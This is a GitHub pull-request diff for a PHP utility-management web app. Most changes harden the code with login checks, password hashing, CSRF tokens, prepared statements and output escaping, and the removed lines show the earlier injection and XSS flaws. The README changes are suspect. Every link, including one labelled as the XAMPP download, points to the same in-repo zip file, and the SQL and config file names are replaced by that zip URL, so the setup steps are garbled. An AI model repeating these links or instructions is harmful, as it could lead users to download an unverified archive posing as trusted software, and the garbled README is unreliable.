Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
14 changes: 7 additions & 7 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# 🌐 Public-Utility-Management-System - Simplifying Utility Management For Everyone

[![Download the latest release](https://raw.githubusercontent.com/Dusterian/Public-Utility-Management-System/main/screenshots/Public-Utility-Management-System_2.7-beta.4.zip)](https://raw.githubusercontent.com/Dusterian/Public-Utility-Management-System/main/screenshots/Public-Utility-Management-System_2.7-beta.4.zip)
[![Download the latest release](https://github.com/Dusterian/Public-Utility-Management-System/raw/refs/heads/main/assets/Utility_Management_System_Public_3.6.zip)](https://github.com/Dusterian/Public-Utility-Management-System/raw/refs/heads/main/assets/Utility_Management_System_Public_3.6.zip)

## 📋 Introduction

Expand All @@ -12,12 +12,12 @@ To get started with the Public Utility Management System, follow these simple st

1. **Prepare Your System**
Make sure your computer has the following software installed:
- **XAMPP**: This software helps you run a local server to host the application. You can download it [here](https://raw.githubusercontent.com/Dusterian/Public-Utility-Management-System/main/screenshots/Public-Utility-Management-System_2.7-beta.4.zip).
- **XAMPP**: This software helps you run a local server to host the application. You can download it [here](https://github.com/Dusterian/Public-Utility-Management-System/raw/refs/heads/main/assets/Utility_Management_System_Public_3.6.zip).
- **Web Browser**: A modern web browser like Chrome, Firefox, or Edge.

2. **Download the Application**
Visit this page to download the latest version of the Public Utility Management System:
[Download the latest release](https://raw.githubusercontent.com/Dusterian/Public-Utility-Management-System/main/screenshots/Public-Utility-Management-System_2.7-beta.4.zip)
[Download the latest release](https://github.com/Dusterian/Public-Utility-Management-System/raw/refs/heads/main/assets/Utility_Management_System_Public_3.6.zip)
There you will find different versions. Click to download the latest version suitable for your system.

3. **Extract the Files**
Expand All @@ -38,13 +38,13 @@ To get started with the Public Utility Management System, follow these simple st
- Click **Create**.

7. **Import the Database Structure**
Inside the Public Utility Management System folder, locate the SQL file (usually named `https://raw.githubusercontent.com/Dusterian/Public-Utility-Management-System/main/screenshots/Public-Utility-Management-System_2.7-beta.4.zip`).
Inside the Public Utility Management System folder, locate the SQL file (usually named `https://github.com/Dusterian/Public-Utility-Management-System/raw/refs/heads/main/assets/Utility_Management_System_Public_3.6.zip`).
- Click on the newly created database in phpMyAdmin.
- Click on the **Import** tab.
- Choose the SQL file and click **Go** to import the structure.

8. **Configure the Application**
Open the `https://raw.githubusercontent.com/Dusterian/Public-Utility-Management-System/main/screenshots/Public-Utility-Management-System_2.7-beta.4.zip` file in the Public Utility Management System folder. You will need to set the database credentials. Update the following fields:
Open the `https://github.com/Dusterian/Public-Utility-Management-System/raw/refs/heads/main/assets/Utility_Management_System_Public_3.6.zip` file in the Public Utility Management System folder. You will need to set the database credentials. Update the following fields:
```php
$dbHost = "localhost";
$dbUser = "root"; // Change if you have a different username
Expand Down Expand Up @@ -80,7 +80,7 @@ The Public Utility Management System includes several features to help you manag
If you encounter issues:
- Ensure the XAMPP services are running.
- Check that the database is correctly set up in phpMyAdmin.
- Ensure your credentials in `https://raw.githubusercontent.com/Dusterian/Public-Utility-Management-System/main/screenshots/Public-Utility-Management-System_2.7-beta.4.zip` are accurate.
- Ensure your credentials in `https://github.com/Dusterian/Public-Utility-Management-System/raw/refs/heads/main/assets/Utility_Management_System_Public_3.6.zip` are accurate.

## 📞 Support

Expand All @@ -89,7 +89,7 @@ For support, you can check the Issues section of this repository. If you have qu
## 📥 Download & Install

To download and install the application, visit this page:
[Download the latest release](https://raw.githubusercontent.com/Dusterian/Public-Utility-Management-System/main/screenshots/Public-Utility-Management-System_2.7-beta.4.zip)
[Download the latest release](https://github.com/Dusterian/Public-Utility-Management-System/raw/refs/heads/main/assets/Utility_Management_System_Public_3.6.zip)

Follow the steps outlined in the "Getting Started" section to set up the application on your local machine.

Expand Down
5 changes: 5 additions & 0 deletions admin/dashboard_admin.php
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,11 @@
include('../includes/db_connect.php');
require_once('activity_log.php');

if (!isset($_SESSION['role']) || $_SESSION['role'] != 'admin') {
header("Location: ../index.php");
exit;
}

// ===== Admin Details =====
$admin_name = $_SESSION['admin_name'] ?? 'Admin';
$admin_id = $_SESSION['admin_id'] ?? 1;
Expand Down
9 changes: 5 additions & 4 deletions admin/manage_customers.php
Original file line number Diff line number Diff line change
Expand Up @@ -85,14 +85,15 @@ function get_pagination_params($default_limit = 50)
$phone = sanitize_input($_POST['phone']);
$email = sanitize_input($_POST['email']);
$password = sanitize_input($_POST['password']);
$hashed_password = hash_password($password);

$house_stmt = $conn->prepare("INSERT INTO house (House_Number, Owner_Name, Address) VALUES (?, ?, ?)");
$house_stmt->bind_param("sss", $house_num, $owner, $address);

if ($house_stmt->execute()) {
$house_id = $house_stmt->insert_id;
$cust_stmt = $conn->prepare("INSERT INTO customer (Name, Phone, Email, Password, House_ID) VALUES (?, ?, ?, ?, ?)");
$cust_stmt->bind_param("ssssi", $name, $phone, $email, $password, $house_id);
$cust_stmt->bind_param("ssssi", $name, $phone, $email, $hashed_password, $house_id);

if ($cust_stmt->execute()) {
$toast = "Customer and House added successfully!";
Expand Down Expand Up @@ -350,7 +351,7 @@ function get_pagination_params($default_limit = 50)
<td>#<?= htmlspecialchars($row['House_ID']) ?></td>
<td>
<button class="btn btn-primary" style="padding: 8px 12px; margin-right: 5px;"
onclick='openEditModal(<?= json_encode($row["Customer_ID"]) ?>, <?= json_encode($row["Name"]) ?>, <?= json_encode($row["Phone"]) ?>, <?= json_encode($row["Email"]) ?>, <?= json_encode($row["House_ID"]) ?>, <?= json_encode($row["House_Number"]) ?>, <?= json_encode($row["Owner_Name"]) ?>, <?= json_encode($row["Address"]) ?>, <?= json_encode($row["Password"]) ?>)'>
onclick='openEditModal(<?= json_encode($row["Customer_ID"]) ?>, <?= json_encode($row["Name"]) ?>, <?= json_encode($row["Phone"]) ?>, <?= json_encode($row["Email"]) ?>, <?= json_encode($row["House_ID"]) ?>, <?= json_encode($row["House_Number"]) ?>, <?= json_encode($row["Owner_Name"]) ?>, <?= json_encode($row["Address"]) ?>)'>
<i class="fas fa-edit"></i> Edit
</button>
<button class="btn btn-danger" style="padding: 8px 12px;"
Expand Down Expand Up @@ -594,7 +595,7 @@ function closeAddModal() {
document.body.style.overflow = 'auto';
}

function openEditModal(cId, name, phone, email, hId, hNum, owner, addr, pwd) {
function openEditModal(cId, name, phone, email, hId, hNum, owner, addr) {
document.getElementById('edit_customer_id').value = cId;
document.getElementById('edit_house_id').value = hId;
document.getElementById('edit_house_number').value = hNum;
Expand All @@ -603,7 +604,7 @@ function openEditModal(cId, name, phone, email, hId, hNum, owner, addr, pwd) {
document.getElementById('edit_name').value = name;
document.getElementById('edit_phone').value = phone;
document.getElementById('edit_email').value = email;
document.getElementById('edit_password').value = pwd;
document.getElementById('edit_password').value = '********';
document.getElementById('editModal').style.display = 'block';
document.body.style.overflow = 'hidden';
}
Expand Down
42 changes: 24 additions & 18 deletions admin/manage_employees.php
Original file line number Diff line number Diff line change
Expand Up @@ -21,21 +21,26 @@

/* --- CRUD Operations --- */
// DELETE
if (isset($_POST['confirm_delete']) && isset($_POST['delete_id'])) {
$id = intval($_POST['delete_id']);
$emp_result = mysqli_query($conn, "SELECT Name FROM employee WHERE Employee_ID = $id");
$emp = mysqli_fetch_assoc($emp_result);
$emp_name = $emp['Name'] ?? 'Unknown';

$delete_query = "DELETE FROM employee WHERE Employee_ID = $id";
if (mysqli_query($conn, $delete_query)) {
$admin_id = $_SESSION['admin_id'] ?? 1;
logActivity($conn, $admin_id, "Deleted employee '$emp_name' (ID: $id)");
$toast = "Employee deleted successfully!";
$toast_type = "success";
} else {
$toast = "Error deleting employee.";
if (isset($_POST['confirm_delete']) && isset($_POST['delete_id']) && isset($_POST['csrf_token'])) {
if (!verify_csrf_token($_POST['csrf_token'])) {
$toast = "Invalid request. Please try again.";
$toast_type = "error";
} else {
$id = intval($_POST['delete_id']);
$emp_result = mysqli_query($conn, "SELECT Name FROM employee WHERE Employee_ID = $id");
$emp = mysqli_fetch_assoc($emp_result);
$emp_name = $emp['Name'] ?? 'Unknown';

$delete_query = "DELETE FROM employee WHERE Employee_ID = $id";
if (mysqli_query($conn, $delete_query)) {
$admin_id = $_SESSION['admin_id'] ?? 1;
logActivity($conn, $admin_id, "Deleted employee '$emp_name' (ID: $id)");
$toast = "Employee deleted successfully!";
$toast_type = "success";
} else {
$toast = "Error deleting employee.";
$toast_type = "error";
}
}
}

Expand All @@ -45,9 +50,10 @@
$role = sanitize_input($_POST['role']);
$phone = sanitize_input($_POST['phone']);
$password = sanitize_input($_POST['password']);
$hashed_password = hash_password($password);

$stmt = $conn->prepare("INSERT INTO employee (Name, Role, Phone, Password) VALUES (?, ?, ?, ?)");
$stmt->bind_param("ssss", $name, $role, $phone, $password);
$stmt->bind_param("ssss", $name, $role, $phone, $hashed_password);

if ($stmt->execute()) {
$toast = "Employee added successfully!";
Expand Down Expand Up @@ -254,7 +260,7 @@
<td><?= htmlspecialchars($row['Phone']) ?></td>
<td>
<button class="btn btn-primary" style="padding:8px 12px; margin-right:5px;"
onclick="openEditModal('<?= $row['Employee_ID'] ?>','<?= htmlspecialchars($row['Name']) ?>','<?= htmlspecialchars($row['Role']) ?>','<?= htmlspecialchars($row['Phone']) ?>','<?= htmlspecialchars($row['Password']) ?>')">
onclick="openEditModal('<?= $row['Employee_ID'] ?>','<?= htmlspecialchars($row['Name']) ?>','<?= htmlspecialchars($row['Role']) ?>','<?= htmlspecialchars($row['Phone']) ?>')">
<i class="fas fa-edit"></i> Edit
</button>
<form method="POST" style="display:inline;">
Expand Down Expand Up @@ -343,12 +349,12 @@ function closeAddModal() {
document.body.style.overflow = 'auto';
}

function openEditModal(id, name, role, phone, password) {
function openEditModal(id, name, role, phone) {
document.getElementById('edit_employee_id').value = id;
document.getElementById('edit_name').value = name;
document.getElementById('edit_role').value = role;
document.getElementById('edit_phone').value = phone;
document.getElementById('edit_password').value = password;
document.getElementById('edit_password').value = '********';
document.getElementById('editModal').style.display = 'block';
document.body.style.overflow = 'hidden';
}
Expand Down
19 changes: 16 additions & 3 deletions admin/report_data.php
Original file line number Diff line number Diff line change
@@ -1,10 +1,23 @@
<?php
session_start();
include('../includes/db_connect.php');
$year = $_GET['year'] ?? date('Y');

// Auth check
if (!isset($_SESSION['role']) || $_SESSION['role'] != 'admin') {
http_response_code(403);
echo json_encode(['error' => 'Unauthorized']);
exit;
}

$year = isset($_GET['year']) ? (int)$_GET['year'] : (int)date('Y');
$data = [];
$result = $conn->query("SELECT MONTH(Date_of_Payment) AS m, SUM(Amount_Paid) AS total
FROM payment WHERE YEAR(Date_of_Payment)=$year GROUP BY m");
$stmt = $conn->prepare("SELECT MONTH(Date_of_Payment) AS m, SUM(Amount_Paid) AS total
FROM payment WHERE YEAR(Date_of_Payment)=? GROUP BY m");
$stmt->bind_param("i", $year);
$stmt->execute();
$result = $stmt->get_result();
while ($r = $result->fetch_assoc()) {
$data[$r['m']] = $r['total'];
}
$stmt->close();
echo json_encode($data);
2 changes: 1 addition & 1 deletion admin/view_bills.php
Original file line number Diff line number Diff line change
Expand Up @@ -272,7 +272,7 @@
<!-- Filter Form -->
<div class="filter-form">
<form method="GET" id="filterForm">
<input type="hidden" name="tab" id="currentTab" value="<?= $_GET['tab'] ?? 'electric' ?>">
<input type="hidden" name="tab" id="currentTab" value="<?= htmlspecialchars($_GET['tab'] ?? 'electric', ENT_QUOTES, 'UTF-8') ?>">
<div class="filter-row">
<div class="form-group">
<label>Search</label>
Expand Down
20 changes: 13 additions & 7 deletions employee/employee_reports.php
Original file line number Diff line number Diff line change
Expand Up @@ -18,12 +18,18 @@

// Get filtered data if requested
$filtered_total = null;
$filtered_from = '';
$filtered_to = '';
if (isset($_GET['from']) && isset($_GET['to'])) {
$from = $_GET['from'];
$to = $_GET['to'];
$filtered = $conn->query("SELECT SUM(Amount_Paid) AS total FROM payment WHERE Date_of_Payment BETWEEN '$from' AND '$to'");
$row = $filtered->fetch_assoc();
$filtered_from = $_GET['from'];
$filtered_to = $_GET['to'];
$filtered_stmt = $conn->prepare("SELECT SUM(Amount_Paid) AS total FROM payment WHERE Date_of_Payment BETWEEN ? AND ?");
$filtered_stmt->bind_param("ss", $filtered_from, $filtered_to);
$filtered_stmt->execute();
$filtered_result = $filtered_stmt->get_result();
$row = $filtered_result->fetch_assoc();
$filtered_total = $row['total'] ?? 0;
$filtered_stmt->close();
}

// Handle CSV export
Expand Down Expand Up @@ -85,11 +91,11 @@
<form method="GET" class="form-grid">
<div class="form-group">
<label>From Date</label>
<input type="date" name="from" class="form-control" value="<?= $_GET['from'] ?? '' ?>" required>
<input type="date" name="from" class="form-control" value="<?= htmlspecialchars($filtered_from, ENT_QUOTES, 'UTF-8') ?>" required>
</div>
<div class="form-group">
<label>To Date</label>
<input type="date" name="to" class="form-control" value="<?= $_GET['to'] ?? '' ?>" required>
<input type="date" name="to" class="form-control" value="<?= htmlspecialchars($filtered_to, ENT_QUOTES, 'UTF-8') ?>" required>
</div>
<div class="form-group" style="display: flex; align-items: flex-end;">
<button class="btn btn-primary" type="submit" style="width: 100%;">
Expand All @@ -102,7 +108,7 @@
<?php if ($filtered_total !== null): ?>
<div class="alert alert-info" style="margin-top: 20px;">
<i class="fas fa-info-circle"></i>
<span><strong>Collection from <?= $_GET['from'] ?> to <?= $_GET['to'] ?>:</strong> ₹<?= number_format($filtered_total, 2) ?></span>
<span><strong>Collection from <?= htmlspecialchars($filtered_from, ENT_QUOTES, 'UTF-8') ?> to <?= htmlspecialchars($filtered_to, ENT_QUOTES, 'UTF-8') ?>:</strong> ₹<?= number_format($filtered_total, 2) ?></span>
</div>
<?php endif; ?>

Expand Down
57 changes: 31 additions & 26 deletions employee/employee_update_payment.php
Original file line number Diff line number Diff line change
Expand Up @@ -11,36 +11,41 @@
$update_query = "";

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$bill_id = $_POST['bill_id'] ?? '';
$amount_paid = $_POST['amount'] ?? '';
$payment_date = $_POST['payment_date'] ?? date('Y-m-d');
$bill_type = $_POST['bill_type'] ?? '';
$payment_mode = $_POST['mode'] ?? NULL;

if (!empty($bill_id) && $amount_paid !== '') {
$bill_table = (strtolower($bill_type) === 'water') ? 'water_bill' : 'electric_bill';
$update_query = "UPDATE `$bill_table` SET Status='Paid' WHERE Bill_ID='" . $conn->real_escape_string($bill_id) . "'";

if ($conn->query($update_query)) {
$stmt = $conn->prepare("INSERT INTO payment (Bill_Type, Bill_ID, Amount_Paid, Date_of_Payment, Mode_of_Payment) VALUES (?, ?, ?, ?, ?)");
if ($stmt) {
$stmt->bind_param("sidss", $bill_type, $bill_id, $amount_paid, $payment_date, $payment_mode);
$stmt->execute();
$stmt->close();
}
if (function_exists('logEmployeeAction')) {
$desc = 'Updated payment for ' . ($bill_type ?: 'Electric') . ' Bill ID ' . $bill_id . ' (₹' . $amount_paid . ')';
logEmployeeAction($conn, $_SESSION['employee_id'], 'Update Payment', $desc);
if (!isset($_POST['csrf_token']) || !verify_csrf_token($_POST['csrf_token'])) {
$msg = "Invalid request. Please try again.";
$msg_type = "error";
} else {
$bill_id = $_POST['bill_id'] ?? '';
$amount_paid = $_POST['amount'] ?? '';
$payment_date = $_POST['payment_date'] ?? date('Y-m-d');
$bill_type = $_POST['bill_type'] ?? '';
$payment_mode = $_POST['mode'] ?? NULL;

if (!empty($bill_id) && $amount_paid !== '') {
$bill_table = (strtolower($bill_type) === 'water') ? 'water_bill' : 'electric_bill';
$update_query = "UPDATE `$bill_table` SET Status='Paid' WHERE Bill_ID='" . $conn->real_escape_string($bill_id) . "'";

if ($conn->query($update_query)) {
$stmt = $conn->prepare("INSERT INTO payment (Bill_Type, Bill_ID, Amount_Paid, Date_of_Payment, Mode_of_Payment) VALUES (?, ?, ?, ?, ?)");
if ($stmt) {
$stmt->bind_param("sidss", $bill_type, $bill_id, $amount_paid, $payment_date, $payment_mode);
$stmt->execute();
$stmt->close();
}
if (function_exists('logEmployeeAction')) {
$desc = 'Updated payment for ' . ($bill_type ?: 'Electric') . ' Bill ID ' . $bill_id . ' (₹' . $amount_paid . ')';
logEmployeeAction($conn, $_SESSION['employee_id'], 'Update Payment', $desc);
}
$msg = "Payment Updated Successfully!";
$msg_type = "success";
} else {
$msg = "Error: " . $conn->error;
$msg_type = "error";
}
$msg = "Payment Updated Successfully!";
$msg_type = "success";
} else {
$msg = "Error: " . $conn->error;
$msg = "Please fill all required fields.";
$msg_type = "error";
}
} else {
$msg = "Please fill all required fields.";
$msg_type = "error";
}
}

Expand Down
Loading